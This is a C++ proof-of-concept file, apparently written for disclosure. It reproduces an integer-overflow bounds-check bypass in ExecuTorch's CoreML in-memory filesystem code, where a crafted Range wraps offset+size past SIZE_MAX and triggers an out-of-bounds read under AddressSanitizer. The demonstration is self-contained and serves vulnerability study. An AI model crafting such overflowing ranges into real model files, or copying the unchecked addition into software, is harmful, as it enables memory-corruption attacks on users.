executorch-delegate-loader-poc / poc_range_overflow_oob_read.cpp
KEEBWZRD's picture
Upload 4 files
9c5b2f3 verified
Raw
History Blame Contribute Delete
2.36 kB
// Standalone PoC — faithful reproduction of the ExecuTorch CoreML inmemoryfs
// integer-overflow -> bounds-check-bypass -> OOB read.
// Logic taken verbatim from pytorch/executorch @ main:
// backends/apple/coreml/runtime/inmemoryfs/range.hpp:10-22
// backends/apple/coreml/runtime/inmemoryfs/memory_buffer.cpp:254-262 (MemoryBuffer::slice)
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <cstdio>
// range.hpp:10-22
struct Range {
size_t offset, size;
Range(size_t o, size_t s) noexcept : offset(o), size(s) {}
inline size_t length() const noexcept { return offset + size; } // range.hpp:21 unchecked add
};
static uint8_t* g_data; // stands in for MemoryBuffer::data()
static size_t g_size; // stands in for MemoryBuffer::size()
// memory_buffer.cpp:254-262 MemoryBuffer::slice(Range range)
static uint8_t* slice(Range range) noexcept {
if (range.length() > g_size) { // guard BYPASSED when offset+size overflows size_t
return nullptr;
}
return g_data + range.offset; // wild pointer from attacker-controlled offset
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // unbuffered so prints survive the ASan abort
g_size = 16;
g_data = new uint8_t[g_size];
memset(g_data, 0x41, g_size);
// Attacker-controlled Range deserialized from a malicious in-memory-FS blob in a .pte.
// offset lands just past the buffer (in ASan's redzone); size chosen so offset+size
// wraps size_t to 0, sailing past the 'length() > size()' guard.
Range r(20, SIZE_MAX - 19);
printf("[*] buffer size = %zu\n", g_size);
printf("[*] attacker offset = %zu\n", r.offset);
printf("[*] attacker size = %zu\n", r.size);
printf("[*] length()=offset+size = %zu (wrapped past SIZE_MAX)\n", r.length());
printf("[*] guard 'length() > size()': %zu > %zu -> %s\n",
r.length(), g_size, (r.length() > g_size) ? "REJECT" : "PASS (bypassed!)");
uint8_t* p = slice(r);
if (p) {
printf("[!] slice() returned ptr %ld bytes past a %zu-byte buffer; dereferencing:\n",
(long)(p - g_data), g_size);
volatile uint8_t x = p[0]; // OOB read -> AddressSanitizer trap
printf("[!] OOB read = 0x%02x (should NOT reach here under ASan)\n", x);
}
delete[] g_data;
return 0;
}